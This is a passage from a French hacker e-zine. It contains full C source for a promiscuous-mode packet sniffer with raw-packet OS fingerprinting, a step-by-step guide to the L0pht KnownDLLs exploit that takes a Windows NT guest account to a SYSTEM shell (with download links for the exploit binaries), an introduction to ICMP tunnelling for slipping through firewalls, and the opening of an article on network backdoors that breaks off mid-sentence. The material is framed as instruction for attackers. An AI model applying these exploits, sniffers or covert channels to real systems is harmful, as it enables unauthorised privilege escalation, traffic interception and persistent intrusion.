le triplé des fonctions décrites ci-dessus: ------8<--------------------------------------------------------------------- for(i=0;ip_name); // Afficher le nom de chaque protocole endprotoent(); // Fermet le fichier, cette ligne est indispensable fprintf(stdout, "\n"); } } ------8<--------------------------------------------------------------------- Il s'agit désormais d'afficher les caractéristiques d'un protocole (alias, numéro, nom), via son nom ou son numéro d'identification (contenu dans etc/protocols). Notre programme devra alors être capable d'analyser le type d'arg (int ou char) et d'afficher le résultat correspondant. ------8<--------------------------------------------------------------------- if(sscanf(argv[i],"%d",&numero)==1) // Si l'argument i est un integer protocole=getprotobynumber(numero); // On cherche le protocole par son numéro else protocole=getprotobyname(argv[i]); // Sinon on s'empare du protocole via son nom fprintf(stdout,"%s :",argv[i]); if(protocole=NULL) { fprintf(stdout,"inconnu\n"); // En cas d'erreur, on continue continue; } fprintf(stdout, "%s ( ",protocole->p_name); // On affiche alors le nom du protocole for(j=0;protocole->p_aliases[j]!=NULL;j++) fprintf(stdout, "% s",protocole->p_aliases[j]); // On affiche les aliases du protocoles fprintf(stdout, ") numéro = %d \n", protocole->p_proto); // Enfin, le numéro du protocole } return (0); } ------8<--------------------------------------------------------------------- Et le voici notre fameux point d'entrée ! ------8<--------------------------------------------------------------------- int main(int argc, char **argv) { // déclaration des variables int sockfd; int proto=0, x=0, e=0, sinter=0, fip=0, sdat=0, i, j, numero; char *name, *pp, *source, *cible; unsigned long ssource, scible; struct protoent * protocole; // si le nombre d'arguments entré est insuffisant à lsniff on affiche une aide et on quitte if (argc < 3) { printf(" Ssniff - Li0n7 \n\n"); printf(" .: Presentation des arguments :. \n\n"); printf(" -i: interface carte reseau \n"); printf(" -p: type de paquets a intercepter (0 pour tout type de protocole, protos par numeros)\n"); printf(" -e: afficher ethernet header \n"); printf(" -t: afficher ip header \n"); printf(" -d: afficher donnees \n"); printf(" -x: tout afficher (ethernet header, ip header, $proto header, donnees) \n"); printf(" -s: interface simple \n"); printf(" -o : OS fingerprinting \n"); printf(" -z: description et numéro du protocole (nom ou numéro) \n\n"); exit(0); } else { // sinon on récupère nos arguments while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { case 'i': name = &argv[1][2]; // nom de l'interface break; case 'p': proto = atoi(&argv[1][2]); // protocole à sniffer break; case 'e': e = 1; // sniffer ethernet header break; case 's': sinter = 1; // affichage de tous les champs du paquet break; case 't': fip = 1; // sniffer ip header break; case 'd': sdat = 1; // sniffer data header break; case 'x': // interface complexe e = 1; sinter = 1; fip = 1; sdat = 1; break; case 'z': pp = &argv[1][2]; // récupération du nom ou numéro du protocole if(sscanf(pp,"%d", & numero) == 1) protocole = getprotobynumber(numero); // identification du protocole via son numéro else protocole = getprotobyname(pp); // identification du protocole via son nom fprintf(stdout,"%s :", pp); if(protocole == NULL) { fprintf(stdout,"inconnu\n"); // si le protocole est inconnue, on continue continue; } fprintf(stdout, "%s ( ",protocole->p_name); // affiche nom du protocole for(j=0;protocole->p_aliases[j] != NULL;j++) fprintf(stdout, "% s", protocole->p_aliases[j]); // affiche tous ses alias fprintf(stdout, ") numéro = %d \n", protocole->p_proto); // affiche numéro du protocole return -1; break; case 'o': cible = &argv[1][2]; // cible os_fingerp source = &argv[2][0]; // adresse source (la notre) scible = getaddr(cible); // résolution de l'adresse ciblée ssource = getaddr(source); // résolution de notre adresse os_fingerp(ssource, scible); // on lance l'os fingerprinting } --argc; ++argv; } } if((sockfd = ouvre_interface(name))<0){ // ouverture de l'interface fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n"); return -1; } if(read_loop(sockfd, proto, e, sinter, fip, sdat, 0) < 0){ // lecture en boucles des paquets fprintf(stderr, "Erreur lors de la lecture des paquets\n"); return -1; } return 0; } ------8<--------------------------------------------------------------------- III. Code Source : __________________ ------------8<----------------------------------------------------------------------- /******************************************/ /* lsniff By Li0n7 */ /* contactez-moi: Li0n7@voila.fr */ /* L7L.FR.ST */ /* SNIFFER ETHER/IP/TCP/UDP/ICMP */ /* Copyright Li0n7 - Tous droits réservés */ /******************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SEQ 0x28376839 struct pseudohdr { unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned short length; }pseudo; struct ether_header *hdr; struct iphdr *ip; struct tcphdr *tcp; struct icmphdr *icmp; struct udphdr *udp; struct sockaddr_in rhost; struct hostent *source; struct hostent *cible; struct recvpaquet { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; struct icmphdr icmp; struct udphdr udp; char data[8000]; } buffer; int size; int ouvre_interface(char *name) { struct sockaddr addr; struct ifreq ifr; int sockfd; sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); if(sockfd<0) return -1; memset(&addr, 0, sizeof(addr)); addr.sa_family=AF_INET; strncpy(addr.sa_data, name, sizeof(addr.sa_data)); if(bind(sockfd, &addr, sizeof(addr)) !=0 ){ close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){ close(sockfd); return -1; } if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) { close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0) { close(sockfd); return -1; } ifr.ifr_flags |= IFF_PROMISC; if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) { close(sockfd); return -1; } return sockfd; } unsigned short in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } int os_fingerp(unsigned long ssource, unsigned long scible) { char *paquet, *fip, *packet, *buffer; int sock; packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); ip = (struct iphdr *) packet; tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = (random()); ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->saddr = ssource; ip->daddr = scible; pseudo.saddr = ip->saddr; pseudo.daddr = ip->daddr; pseudo.useless = htons(0); pseudo.protocol = IPPROTO_TCP; pseudo.length = sizeof(struct tcphdr); tcp->source = htons(5000); tcp->dest = htons(80); tcp->seq = htonl(SEQ); tcp->ack_seq = htonl(0); tcp->doff=sizeof(tcp)/4; tcp->res1=0; tcp->fin = 1; tcp->syn = 0; tcp->rst = 0; tcp->psh = 0; tcp->ack = 0; tcp->urg = 0; tcp->window = htons(65535); tcp->urg_ptr = htons(0); tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("Erreur lors de la creation du socket"); return -1; } else { rhost.sin_family = AF_INET; rhost.sin_port = tcp->dest; rhost.sin_addr.s_addr = ip->daddr; if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0){ perror("Erreur lors de l'envoie du paquet FIN"); }else{ printf("Paquet FIN envoye sur port: %d!\n", ntohs(tcp->dest)); size = read(sock, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); read_loop(sock, 0, 0, 0, 0, 0, 1); } } close(sock); printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n"); return 0; } unsigned long getaddr(char *sname){ struct hostent * hip; hip = gethostbyname(sname); if (!hip){ perror("Adresse invalide"); exit(1); } return *(unsigned long *)hip -> h_addr; } char *icmp_type(int type){ char *rtype; switch (type){ case 0: rtype = "echo reply"; break; case 3: rtype = "unreachable host"; break; case 4: rtype = "Source quench"; break; case 5: rtype = "Redirection"; break; case 6: rtype = "Alternative host adress"; break; case 8: rtype = "Echo request"; break; case 9: rtype = "Router advertissement"; break; case 10: rtype = "Router solicitation"; break; case 11: rtype = "Time exceded"; break; case 12: rtype = "Parameter problem"; break; case 13: rtype = "Timestamp request"; break; case 14: rtype = "TImestamp reply"; break; case 15: rtype = "Information request"; break; case 16: rtype = "Information reply"; break; case 17: rtype = "Adress mask request"; break; case 18: rtype = "Adress mask reply"; break; case 30: rtype = "Traceroute"; break; case 31: rtype = "Conversion error"; break; case 32: rtype = "Dynamic redirection"; break; case 35: rtype = "Mobile registration request"; break; case 36: rtype = "Mobile registration reply"; break; case 39: rtype = "SADP"; break; case 40: rtype = "Photuris"; break; } return rtype; } int read_loop(int sockfd, int protos, int x, int sinter, int sip, int sdat, int os) { struct hostent *hote; char buf[1792], *donnees, *proto, *flag[5], *itype, *ios; int fromlen, c, i=0, j, datal, stype; struct protoent * protocole; unsigned char *s, *d, *ftype; ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); proto = (char *)malloc(1024); for (j=0; j <= 5; j++){ flag[j] = (char *)malloc(1024); } itype = (char *)malloc(1024); ios = (char *) malloc(1024); s = (unsigned char *)&(ip->saddr); d = (unsigned char *)&(ip->daddr); while(1){ i++; size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; if (os == 0){ sprintf(proto, "%d", ip->protocol); sprintf(flag[0], "%d", tcp->fin); sprintf(flag[1], "%d", tcp->syn); sprintf(flag[2], "%d", tcp->rst); sprintf(flag[3], "%d", tcp->psh); sprintf(flag[4], "%d", tcp->ack); sprintf(flag[5], "%d", tcp->urg); if(sinter==1){ printf("---------->>> Trame réseau numéro: %i\n", i); hdr=(struct ether_header *)buf; if(x==1){ printf("--[ETHERNET HEADER]\n"); printf("Host source ethernet: "); for(c=0; c < ETH_ALEN; c++) printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]); printf("\nHost distant ethernet: "); for(c=0; c < ETH_ALEN; c++) printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]); printf("\nType: %i\n",hdr->ether_type); } if (sip==1){ printf("--[IP HEADER]\nAdresse IP source: %u.%u.%u.%u\nAdresse IP destination: %u.%u.%u.%u\n", s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]); printf("IHL: %d, VERSION: %d, TOS: %d, TOT_LEN: %d, ID: %d, TTL: %d, PROTOCOLE: %d\n", ip->ihl, ip->version, ip->tos, ip->tot_len, ip->id, ip->ttl, ip->protocol); } if(((atoi(proto))==6)&&(protos==6 || protos==0)){ printf("--[TCP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(tcp->source), ntohs(tcp->dest)); printf("SEQ: %d, ACK_SEQ: %d, D_OFF: %d, RES1: %d, FIN: %d, SYN: %d, RST: %d\n", ntohl(tcp->seq), ntohl(tcp->ack_seq), tcp->doff, tcp->res1, tcp->fin, tcp->syn, tcp->rst); printf("PSH: %d, ACK: %d, URG: %d, WINDOW: %d, URG_PTR: %d\n", tcp->psh, tcp->ack, tcp->urg, ntohs(tcp->window), ntohs(tcp->urg_ptr)); datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); donnees = (char *)(((unsigned long)buffer.data)-2); if(sdat==1){ printf("--[DONNES]\n"); for(j=0; j <= datal; j++) printf("%c", donnees[j]); } } else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) { printf("--[ICMP HEADER]\nType: %d\nCode: %d\n", icmp->type, icmp->code); printf("echo.id: %d\nEcho.seq: %d\nChecksum: %d\n", icmp->un.echo.id, icmp->un.echo.sequence, icmp->checksum); } else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)){ printf("--[UDP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(udp->source), ntohs(udp->dest)); printf("Len: %d\nChecksum: %d\n", ntohs(udp->len), udp->check); donnees = (char *)(((unsigned long)buffer.data)-2); datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); if(sdat==1){ printf("--[DONNEES]\n"); for(j=0; j <= datal; j++) printf("%c", donnees[j]); } } } else { if(((atoi(proto))==6)&&(protos==6 || protos==0)){ datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); if(datal < 0) datal = 0; printf("%i.%d.6(tcp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d", i, ip->version, s[0],s[1],s[2],s[3], ntohs(tcp->source), d[0],d[1],d[2],d[3], ntohs(tcp->dest)); if((atoi(flag[0]))==1) printf(" F"); if((atoi(flag[1]))==1) printf(" S"); if((atoi(flag[2]))==1) printf(" R"); if((atoi(flag[3]))==1) printf(" P"); if((atoi(flag[4]))==1) printf(" A"); if((atoi(flag[5]))==1) printf(" U"); printf(" win %d %d>%d(%i)", ntohs(tcp->window), ntohl(tcp->seq), ntohl(tcp->seq)+datal, datal); } else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) { stype = icmp->type; ftype = icmp_type(stype); printf("%i.%d.1(icmp) %u.%u.%u.%u > %u.%u.%u.%u icmp(%d): %s", i, ip->version, s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], stype, ftype); } else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)) { datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); if (datal<0) datal = 0; printf("%i.%d.17(udp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d udp(%i) %d:%d", i, ip->version, s[0],s[1],s[2],s[3], ntohs(udp->source), d[0],d[1],d[2],d[3], ntohs(udp->dest), datal, ntohs(udp->len), udp-> check); } else if ((atoi(proto))==protos || protos==0) { printf("%i.%d.%i(%s) %u.%u.%u.%u > %u.%u.%u.%u", i, ip->version, ip->protocol, getprotobynumber(ip->protocol), s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]); } } printf("\n"); } else { printf("%u.%u.%u.%u > %u.%u.%u.%u > %d %d %d", s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], tcp->syn, tcp->fin, tcp->rst, tcp->ack); sprintf(ios, "%d", tcp->rst); if((atoi(ios))==1){ printf("Système distant probable: WINDOWS, BSDI, CISCO, HP/UX, MVS, IRIX\n"); } } } printf("Nombre de paquets sniffés: %d\n", c); } int main(int argc, char **argv) { int sockfd; int proto=0, x=0, e=0, sinter=0, fip=0, sdat=0, i, j, numero; char *name, *pp, *source, *cible; unsigned long ssource, scible; struct protoent * protocole; if (argc < 3) { printf(" Ssniff - Li0n7 \n\n"); printf(" .: Presentation des arguments :. \n\n"); printf(" -i: interface carte reseau \n"); printf(" -p: type de paquets a intercepter (0 pour tout type de protocole, protos par numeros)\n"); printf(" -e: afficher ethernet header \n"); printf(" -t: afficher ip header \n"); printf(" -d: afficher donnees \n"); printf(" -x: tout afficher (ethernet header, ip header, $proto header, donnees) \n"); printf(" -s: interface simple \n"); printf(" -o : OS fingerprinting \n"); printf(" -z: description et numéro du protocole (nom ou numéro) \n\n"); exit(0); } else { while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { case 'i': name = &argv[1][2]; break; case 'p': proto = atoi(&argv[1][2]); break; case 'e': e = 1; break; case 's': sinter = 1; break; case 't': fip = 1; break; case 'd': sdat = 1; break; case 'x': e = 1; sinter = 1; fip = 1; sdat = 1; break; case 'z': pp = &argv[1][2]; if(sscanf(pp,"%d", & numero) == 1) protocole = getprotobynumber(numero); else protocole = getprotobyname(pp); fprintf(stdout,"%s :", pp); if(protocole == NULL) { fprintf(stdout,"inconnu\n"); continue; } fprintf(stdout, "%s ( ",protocole->p_name); for(j=0;protocole->p_aliases[j] != NULL;j++) fprintf(stdout, "% s", protocole->p_aliases[j]); fprintf(stdout, ") numéro = %d \n", protocole->p_proto); return -1; break; case 'o': cible = &argv[1][2]; source = &argv[2][0]; scible = getaddr(cible); ssource = getaddr(source); os_fingerp(ssource, scible); } --argc; ++argv; } } if((sockfd = ouvre_interface(name))<0){ fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n"); return -1; } if(read_loop(sockfd, proto, e, sinter, fip, sdat, 0) < 0){ fprintf(stderr, "Erreur lors de la lecture des paquets\n"); return -1; } return 0; } ------------8<----------------------------------------------------------------------- [ Conclusion ] Voila tout, vous pouvez modifier ce programme à votre guise, dès l'instant que le nom du concepteur initial figure dans les sources. Ce sniffer est encore basique, une utilisation plus poussée de l'OS fingerprinting sera probablement ultérieurement implémentée avec peut être quelques fonctions de scanning avancées (half-scan, xmas scanning, SYN fin, NULL scanning). Restons-en ici pour le moment, l'interfafe a été beaucoup travaillée, le programme est lui même intuitif. Mais il n'est pas dénué de défaut, loin de là. Il ne capture pas les paquets envoyés avec comme IP source et destination localhost@localhost. Une fonction intéréssante serait d'enregistrer toutes les sorties de lsniff dans un fichier pour visualisation ultérieure. Et gardez en tête que c'est en programmant par plaisir que vous repousserez vos limites dans des retranchements insoupsonés. Enfin, pour compiler : $ gcc -o protos protos.c Help? Commentaires? Insultes? -> Li0n7@voila.fr Li0n7 --------------------------------------------------------------------------------------- V. Something about WinNT Viperone --------------------------------------------------------------------------------------- +++++++++++++++++++++++++++++++++++ ++++ Fichier Joint : winnt.zip ++++ +++++++++++++++++++++++++++++++++++ [ Introducion ] Ceci est mon premier article pour IOC Magazine. J’espère qu’il vous plaira. Je vais vous apprendre comment exploiter une faille dans Windows NT qui nous permettra de devenir administrateur sur le réseau ou la machine simple. Je croit que je n’ai pas besoin de demander pourquoi devenir root ... I. Préliminaires : __________________ Tout d’abord, voici la liste des systèmes NT affectés par la faille. · Workstation 3.5, 3.51, 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4 · Server 3.5, 3.51, 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4 · Server 4.0, 4.0 SP4 , Enterprise Edition · Server 4.0, Terminal Server Edition Cet exploit peut être effectué à partir d’un compte invité et tout autres comptes (il faut avoir accès à la base de registre). II. Principe : ______________ Windows NT met en oeuvre un système de mémoire cache dans lequel il charge des librairies dynamiques (DLL) particulièrement importantes et surtout très fréquemment utilisées. Elles sont alors partagées entre tous les programmes. Cela évite des copies répétitives en mémoire de ces DLL, améliorant ainsi l'utilisation de la mémoire et les performances du système. À partir du moment où une de ces DLL a été placée dans le cache, elle n'est plus jamais rechargée depuis un fichier sur le disque (du moins tant et aussi longtemps que Windows n’est pas quitté). Le chargement de ces DLL est effectué au démarrage de Windows (avant ouverture d'une session), à partir d'une liste contenue dans la clef « KnowDLLs» Voici le lien dans la base de registre (Voir image1.gif) : HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerKnownDLLs On y retrouve une vingtaine de DLL, dont "kernel32.dll", "user32.dll", "url.dll", "version.dll"... Ce système est (était?) censé accroître la sécurité, puisque le remplacement sur disque d'une de ces DLL par une autre (de même nom mais modifiée) st totalement vain. En effet, prenons l'exemple de "comdlg32.dll", qui sert à afficher les boites de dialogue standard. Si au cours d'une session on décide de remplacer cette librairie par une autre version, (en admettant qu'il n'y ait à cet instant aucune application y faisant appel), cette opération sera inopérante, puisque Windows continuera à utiliser la version initiale de comdlg32, placée dans le cache. Donc, il est tout à fait possible à un utilisateur n'ayant aucun privilège de vider, modifier, ajouter un objet, en particulier une librairie système comme "kernel32.dll". A l'aide de cette librairie modifiée, il va être possible d’effectuer n’importe quelle opération par la suite. II. Exploitation : __________________ L'idée de base mise en oeuvre par L0ph Heavy Industries pour mettre en évidence ce défaut a été la suivante : 1- Création d'une DLL "kernel32.dll" modifiée, différent sur un point par rapport à la version originale : Le point d'entrée (DLLMain), appelé systématiquement à chaque chargement de la DLL par n'importe quel processus, a été réécrit complètement. Toutes les autres API renvoient simplement à la DLL d'origine. DLLmain effectue une énumération des objets "Windows Station", puis pour chaque, énumération des "Windows Desktop", avec communication du nom du propriétaire de l'objet et interrogation de l'utilisateur s'il veut lancer ou non un "shell" pour cette station/desktop. Tant qu'il voit son nom comme propriétaire, l'utilisateur doit répondre "non", jusqu'à ce qu'apparaisse comme propriétaire : AUTORITE NT/SYSTEM. A ce moment là, la DLL modifiée kernel32 va ouvrir une fenêtre console de commandes (command.com de DOS), mais qui n'a rien d'anodine, puisque le propriétaire en est AUTORITE NT/SYSTEM. Donc tout processus exécuté depuis cette fenêtre va hériter des droits AUTORITE NT/SYSTEM, c'est à dire avec le plus haut niveau de privilèges ! Ainsi, l'utilisateur n'ayant aucun droit - en théorie - pourra donc exécuter le gestionnaire des utilisateurs, ouvrir son compte, et le modifier à sa guise, en s'octroyant par exemple le niveau administrateur. 2- Choix d'une tâche qui déclenche indirectement un processus ayant AUTORITE NT/SYSTEM comme propriétaire : Toute application "classique" lancée par l'utilisateur hérite des privilèges de l'utilisateur, mais il peut y avoir des processus intermédiaires, lancés alors par Windows, et ayant alors AUTORITE NT/SYSTEM comme propriétaire. Cela se produit quand on lance une application d'un autre sous-système. On rappelle à cet effet qu'il y a 3 sous-systèmes sous Windows NT, en mode "user" (mode protégé), situés au dessus du système de base, en mode "kernel" (non protégé) : · Win32 (Applications Windows 32 bits + NT Virtual DOS Machine, dans laquelle s'exécuteront les applications Windows 16 bits et les applications DOS) · POSIX (Applications en mode caractère, normalisées, portables sous d'autres systèmes d'exploitation telles que UNIX) · OS/2 (Applications en mode caractère du système d'exploitation d'IBM) Par défaut, une session Windows est dans le sous-système Win32. Les autres sous-systèmes (POSIX et OS/2) sont alors inactifs. Si, depuis une fenêtre de commandes (Win32) on lance une application POSIX, cela va se traduire par l'exécution première du processus Win32 psxss.exe (Application sous-système POSIX, qui va donner le contrôle ensuite à la DLL Client POSIX psxdll.dll). Or ce processus, qui nécessite temporairement le passage en mode kernel, a donc pour propriétaire AUTORITE NT/SYSTEM. Par ailleurs, psxss.exe fait appel à kernel32.dll (ne serait-ce que pour les API LoadLibrary et GetProcAddress). Donc il va provoquer à un certain moment l'exécution du point d'entrée modifié de kernel32.dll, et ainsi permettre le lancement d'un shell appartenant à AUTORITE NT/SYSTEM. III. Mode opératoire : ______________________ On utilise deux fichiers fournis par L0pht http://www.bellamyjc.net/download/failleNT4/hackdll.zip · eggdll.dll : version modifiée de kernel32.dll · hackdll.exe : exécutable permettant la suppression et le remplacement d'un objet dans le cache la syntaxe est très simple : - suppression d'un objet : hackdll -d - ajout d'un objet : hackdll -a Par ailleurs, on a créé un compte dans le groupe "invités" (aucun privilège) du nom de "DICK". On commence par recopier dans le répertoire c:temp la DLL originale kernel32.dll, renommée ici en realkern.dll. Ce répertoire et ce nouveau nom sont obligatoires, la nouvelle DLL eggdll.dll effectuant une redirection "en dur" (nom et chemin) vers elle. L0pht ayant fourni les sources http://www.bellamyjc.net/download/failleNT4/hackdllsrc.zip il est toutefois possible de recompiler cette librairie si on veut changer de nom et/ou de répertoire. Ensuite on lance une session sous le compte DICK. On ouvre une fenêtre de commandes, dans laquelle on vide du cache la DLL kernel32.Dll, puis on la remplace par eggdll.dll. Voir image : image2.gif Il ne faut plus toucher à cette fenêtre, toute action provoquant le retour à la situation initiale. Depuis une autre fenêtre de commandes, on lance une commande POSIX. Le Ressource KIT de NT en contient tout un répertoire (commandes "vi", "ls", "cat", "rmdir", "grep",...), mais on peut toujours se contenter de taper par exemple la commande posix /c calc (NB: le programme "calc" a été pris au hasard. Ce n'est pas un programme POSIX, donc il y aura à la fin un refus de la part du lanceur "posix" de l'exécuter, mais cela n'a pas d'importance, puisque ce que l'on désire seulement est le démarrage du processus psxss.exe) Une première boite de dialogue apparaît : image3.gif On répond ici "Non", car le propriétaire est pour l'instant "DICK" D'autres boites analogues vont se suivre, jusqu’a ce qu'apparaisse : image4.gif On répond alors "Oui" à cette question puis à celles qui suivent ( image5.gif ). Une fenêtre de commande nommée "System Console" apparaît alors : Fenêtre console créée par kernel32.dll Le propriétaire est AUTORITE NT Lancement du gestionnaire d'utilisateurs depuis cette fenêtre. On peut modifier totalement le compte "DICK" et les autres ! ( voir image6.gif ). Fenêtre console ouverte normalement par DICK. Le propriétaire est DICK Lancement du gestionnaire d'utilisateurs depuis cette fenêtre. On ne peut pas modifier le compte "DICK" ! On peut d'ailleurs vérifier cette "dualité" de comptes, en exécutant la commande whoami, soit depuis une fenêtre de commandes traditionnelle, soit depuis une fenêtre de commandes lancée depuis la fenêtre System Console. [ Conclusion ] Voila c’est la fin. Dans un prochain article peut être je vous démontrerai comment contrer cette faille. Mais rien n’est moins sur. D’ici la ne faites pas trop de bétises et rappelez vous que je ne suis en aucun cas responsables de vos actes. --------------------------------------------------------------------------------------- VI. Introducion au TUnneling ICMP MeiK --------------------------------------------------------------------------------------- [ Introduction ] Peut-être avez vous un jour été confronté au problème suivant : relier deux machines n'étant pas situées sur le même réseau avec un firewall au milieu. Peut-être aussi ne savez vous pas si vous devez bloquer le traffic ICMP du genre ICMP_ECHO...cet article vous aidera je l'espère à prendre votre décision assez vite, car vous allez voir qu'il est possible d'échanger des informations par le biais du protocole ICMP. [ Firewall ] Le but premier d'un firewall : défendre une machine / un réseau, d'une autre machine / un autre réseau. Tout le traffic provenant de l'extérieur du réseau protégé doit passer par le firewall, mais seul le traffic autorisé pourra passer de l'autre côté du firewall - le reste sera rejeté. Bien sur, cela est comme ça dans le meilleur des cas : lorsque le firewall est immunisé. [ ICMP_ECHO ] Je ne vais pas décrire en détail le protocole ICMP, il existe de très bons documents pour cela. Ce protocole sert surtout à détecter des erreurs sur un réseau. Les paquets ICMP, tout comme pour les paquets TCP et UDP, sont encapsulés dans un paquet IP. Il existe 15 types de paquets ICMP, mais nous allons nous pencher sur deux types de paquets particuliers : les types 0 et 8 (ICMP_ECHO_REPLY et ICMP_ECHO_REQUEST). Dans la théorie, une machine cliente envoie un paquet ICMP_ECHO_REQUEST à une machine qu'on qualifie de serveur, dans l'attente que cette dernière lui réponde par un ICMP_ECHO_REPLY. En fait, la machine serveur n'a pas de serveur à proprement parler écoutant au niveau du protocole ICMP. En fait c'est le Kernel du système qui répond. Bon, ça c'est la raison d'être du programme PING, et non, ce programme n'a à la base pas été fait pour trouver des adresses IP, ni pour flooder, il a été fait pour vérifier qu'une machine est bien accessible. [ Covert Channels ] En résumé, un covert channel est un "canal de communication" pouvant être utilisé afin d'échanger des données, mais pas un canal utilisé ordinairement pour ça justement. N'importe quel bit de donnée peut-être un covert channel en fait, ce qui fait qu'ils sont très difficiles à détecter et peuvent mettre grandement en danger la sécurité d'un système. Il suffit de savoir ce que l'on cherche en fait (o, quand, comment). Dans le cas d'un covert channel ICMP, ce qui peut vous mettre la puce à l'oreille serait un fort traffic ICMP justement. Bon, ceux qui ont le plus de méthodologie implanteraient directement le daemon directement dans le kernel et génèreraient le moins de traffic possible. [ Pourquoi ... ] Pourquoi avoir besoin de relier deux machines ne faisant pas partie du même réseau, ensemble ? cette question peut ammener plusieurs réponses. Vous pouvez très bien être chez vous et avoir besoin de documents qui sont sur votre machine sur votre lieu de travail, mais vu que cette machine faisant partie d'un réseau privé, vous n'avez aucun moyen d'y accéder directement. Il y a bien évidement la solution consistant à mettre vos documents sur un serveur ftp quelconque (je sais pas, prenez Multimania par exemple), mais il y a toujours le risque que quelqu'un découvre ces informations et les prenne, et voici votre travail confidentiel devenu connu de quelqu'un que vous ne connaissez pas. [ ...Comment] Il existe un programme de tunneling, dont je citerais le nom après cette explication, qui encapsule des données arbitraires dans des paquets ICMP_ECHO_* et par conséquent, exploite le covert channel existant à l'intérieur de ce traffic ICMP_ECHO. Comme le fait remarquer Route dans son article sur le tunneling ICMP, c'est une forme de stéganographie, car les données "secrètes" sont planquées dans un paquet "classique". Les données étant encapsulées et cryptées, cela est normal. [ Loki ] Loki est un programme de tunneling ICMP comme vous pouvez vous en douter, qui peut être utilisé pour contourner des firewalls (enfin, plutot passer au travers on va dire). Du moment que le traffic ICMP_ECHO est autorisé, le covert channel utilisé par Loki existe. Je suis également en train de (tenter de) coder un programme de tunneling ICMP. Vu que je m'y suis pris un peu tard (ce matin du 1er Novembre), il ne sera pas prêt pour ce numéro de IOC, mais peut-être pour le prochain (il y a intérêt !). [ La Solution Finale ] La seule solution à ce genre de tunneling serait d'interdire toute forme de traffic ICMP_ECHO sur votre réseau. Autoriser les paquets ICMP venant d'hotes de confiance ne résoudrait rien, parce que le spoofing ICMP est relativement aisé, car c'est un protocole qui ne se base pas sur une connexion comme TCP. Il existe aussi un moyen, utiliser une sorte de firewall qui regarderait le contenu des paquets, et s'il voit que ce n'est pas un paquet ICMP_ECHO classique, il agit selon ce que l'admin a défini. [ Bibliographie ] Covert Shells - J. Christian Smith Project Loki - Route --------------------------------------------------------------------------------------- VII. Network Traffic Backdoor - Ltrapedoor.c Li0n7 --------------------------------------------------------------------------------------- [ Introduction ] Une backdoor est un petit programme permettant à un pirate de regagner l'accès perdu sur un système précédemment pénétré. Même s'il est vrai que l'heure est plus à l'utilisation de lkm ou de kernel based backdoors, les backdoors classiques restent encore des outils, bien que proposant des techniques d'invisiblité moins poussées, qui permettent de conserver un accès à long terme. L'incovénient des lkm (i.e Loadable Kernel Module) réside dans le fait que la programmation de modules ne permet pas d'utiliser les librairies de la classique libc, ils sont donc beaucoup plus complexes à programmer (bien que la majorité des programmeurs se limitent au classique et 